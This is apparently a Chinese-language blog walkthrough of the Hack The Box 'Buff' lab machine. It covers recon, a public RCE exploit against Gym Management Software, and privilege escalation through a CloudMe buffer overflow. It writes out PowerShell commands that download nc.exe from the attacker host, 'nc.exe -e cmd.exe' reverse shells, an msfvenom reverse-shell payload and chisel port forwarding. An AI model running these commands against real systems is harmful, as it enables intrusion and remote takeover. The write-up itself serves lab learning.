Flydragon's Blog
430 words
2 minutes
[HTB] Buff Walkthrough

visitor badge

前言#

這台是 Hack The Box 的 Buff,難度是 Easy

使用到的技巧:

  1. msfvenom shellcode
  2. chisel port forwarding

Attacker: 10.10.16.3
Target: 10.10.10.134

Recon#

  1. nmap
sudo nmap -sV -sC 10.10.10.198 
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

8080 port 上有個網頁

  1. gobuster
gobuster dir -u http://10.10.10.198:8080 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
/img                  (Status: 301) [Size: 341] [--> http://10.10.10.198:8080/img/]
/profile              (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/profile/]                                                                          
/upload               (Status: 301) [Size: 344] [--> http://10.10.10.198:8080/upload/]
/license              (Status: 200) [Size: 18025]
/examples             (Status: 503) [Size: 1058]
/include              (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/include/]                                                                                     
/licenses             (Status: 403) [Size: 1203]
/att                  (Status: 301) [Size: 341] [--> http://10.10.10.198:8080/att/]
/%20                  (Status: 403) [Size: 1044]
/ex                   (Status: 301) [Size: 340] [--> http://10.10.10.198:8080/ex/]
/*checkout*           (Status: 403) [Size: 1044]
/boot                 (Status: 301) [Size: 342] [--> http://10.10.10.198:8080/boot/]

沒看到甚麼有趣的

  1. website
    alt text 看到登入欄位先試 SQLi,但失敗了
    逛一下網站看到這個
    alt text

拿到一個超像亂取名字的 framework

Gym Management Software 1.0 

Exploit#

查到這個 RCE 腳本
https://www.exploit-db.com/exploits/48506

python2 exploit.py http://10.10.10.198:8080/

直接拿到 user shell 了 alt text

彈個 revshell 方便後面提權

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.16.3:8000/nc.exe', 'nc.exe')"
nc.exe -e cmd.exe 10.10.16.3 4444

Privilege Escalation#

C:\Users\shaun\Downloads 有個 CloudMe_1112.exe

CloudMe 1.11.2 有 BOF 漏洞
https://www.exploit-db.com/exploits/48389
不過現在的 shell code 是打開小算盤 XD
netstat 可以看到 PoC 所需的 8888 port 是打開的
(有 service 聽在 127.0.0.1:8888)

照著 exploit 裡附的指令依樣畫葫蘆一下 原本是這樣

msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python

修改一下

msfvenom -a x86 -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.16.3 1234' -b '\x00\x0A\x0D' -f python -v payload

-v payload 是指定輸出的變數名稱,我就和 exploit 一樣取 payload

Exploit 準備完成之後還需要做 port forwarding 把 127.0.0.1:8888 轉發出去
這邊用的是 chisel 來做
https://github.com/jpillora/chisel

先上傳 windows 版本到靶機上

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.16.3:8000/chisel_windows_x64.exe', 'chisel_windows_x64.exe')"

在 kali 上打開 server

./chisel_linux server -p 6666 --reverse

在靶機上轉發 port

.\chisel_windows_x64.exe client 10.10.16.3:6666 R:8888:localhost:8888

執行改過 payload 的腳本之後可以收到 root shell

alt text

[HTB] Buff Walkthrough
https://flydragonw.github.io/posts/htb_buff/
Author
FlyDragon
Published at
2024-05-11